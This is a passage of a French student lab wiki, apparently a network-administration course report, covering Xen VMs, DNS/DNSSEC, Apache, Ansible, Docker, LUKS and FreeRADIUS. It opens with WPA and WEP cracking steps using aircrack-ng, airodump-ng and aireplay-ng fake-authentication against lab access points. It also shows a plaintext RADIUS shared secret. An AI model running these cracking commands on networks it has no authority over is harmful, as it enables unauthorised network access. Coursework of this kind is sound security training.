  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
====&amp;lt;s&amp;gt;Sécurisation de données&amp;lt;/s&amp;gt;====&lt;br /&gt;
====Cryptage de données====&lt;br /&gt;
Pour afficher la liste des périphériques connectés au PC:&lt;br /&gt;
  fdisk -l&lt;br /&gt;
&lt;br /&gt;
On la crypte et on crée la partition:&lt;br /&gt;
  cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb1&lt;br /&gt;
  cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted&lt;br /&gt;
&lt;br /&gt;
On formate notre volume en ext4&lt;br /&gt;
  mkfs -t ext4 /dev/mapper/virtual_vol_crypted&lt;br /&gt;
&lt;br /&gt;
On le monte ensuite sur /mnt&lt;br /&gt;
  mount -t ext4 /dev/mapper/virtual_vol_crypted /mnt/&lt;br /&gt;
&lt;br /&gt;
On y crée un fichier /mnt/test_file puis on démonte /mnt:&lt;br /&gt;
  umount /mnt&lt;br /&gt;
&lt;br /&gt;
Puis on ferme la communication sur le volume crypté:&lt;br /&gt;
  cryptsetup luksClose virtual_vol_crypted&lt;br /&gt;
&lt;br /&gt;
A présent, on ne peut plus avoir accès au volume /dev/mapper/virtual_vol_crypted tant qu'on en s'est pas reconnecté avec cryptsetup; pour pouvoir y accéder, il suffit de faire:&lt;br /&gt;
  cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted_bis &lt;br /&gt;
  -&amp;gt; demande du mot de passe&lt;br /&gt;
  mount -t ext4 /dev/mapper/virtual_vol_crypted_bis /mnt/&lt;br /&gt;
&lt;br /&gt;
Et on retrouve notre fichier test_file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Si on essaye simplement de monter une clé usb cryptée:&lt;br /&gt;
  mount /dev/sdb1 mnt/tmp&lt;br /&gt;
  mount: /mnt/tmp: unknow filesystem type ‘crypto_LUKS’&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
FreeRADIUS est un logiciel libre et gratuit, version libre du protocole RADIUS (Remote Authentication Dial-In User Service) service d'authentification réseau interfaçable avec plusieurs sources d'identité (LDAP/SQL entre autres).&lt;br /&gt;
&lt;br /&gt;
C'est un service utilisé notamment par les FAI pour identifier leurs clients. Dans notre cas il va nous être utile pour identifier les utilisateurs sur le réseau quand ils veulent accéder a Internet au travers d'un proxy ou se connecter au réseau WiFi. &lt;br /&gt;
La configuration du serveur FreeRADIUS consiste à :&lt;br /&gt;
&lt;br /&gt;
* Déclarer ses clients (adresses IP), les routeurs ou switchs, et d’y renseigner le mot de passe partagé ;&lt;br /&gt;
* Puis d’enregistrer les utilisateurs avec leur mot de passe.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut installer freeradius: &lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Dans un deuxième temps on ajoute ces clients dans /etc/freeradius/3.0/clients.conf : &lt;br /&gt;
*  on ajoute : &lt;br /&gt;
  &lt;br /&gt;
  client 10.60.200.2/24 {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneChlamydiae&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client PA {&lt;br /&gt;
   ipaddr = 10.60.201.5&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
* Enregistrer les utilisateurs&lt;br /&gt;
&lt;br /&gt;
Il faut ajouter une ligne qui indique l'identifiant et le mot de passe. On a choisi les mêmes id que la VM : root et mot de passe habituel.&lt;br /&gt;
 Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
  Chlamydiae Cleartext-Password := &amp;quot;&amp;lt;password&amp;gt;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Enregistrer les modifications et relancer :&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
 freeradius -X&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin cette comande permet d'afficher les logs:&lt;br /&gt;
  tail -f /var/log/freeradius/radius.log&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Sécurisation WiFi par WPA2-EAP====&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=52197</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=52197"/>
				<updated>2020-01-30T13:51:32Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Tests d’intrusion */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Introduction==&lt;br /&gt;
Lien du sujet: https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html&lt;br /&gt;
&lt;br /&gt;
==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Chlamydiae on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;chlamydiae.site&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.chlamydiae.site.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 192.168.0.14       # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   address 192.168.0.4/24&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:&lt;br /&gt;
  #  - name: Try to stop container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
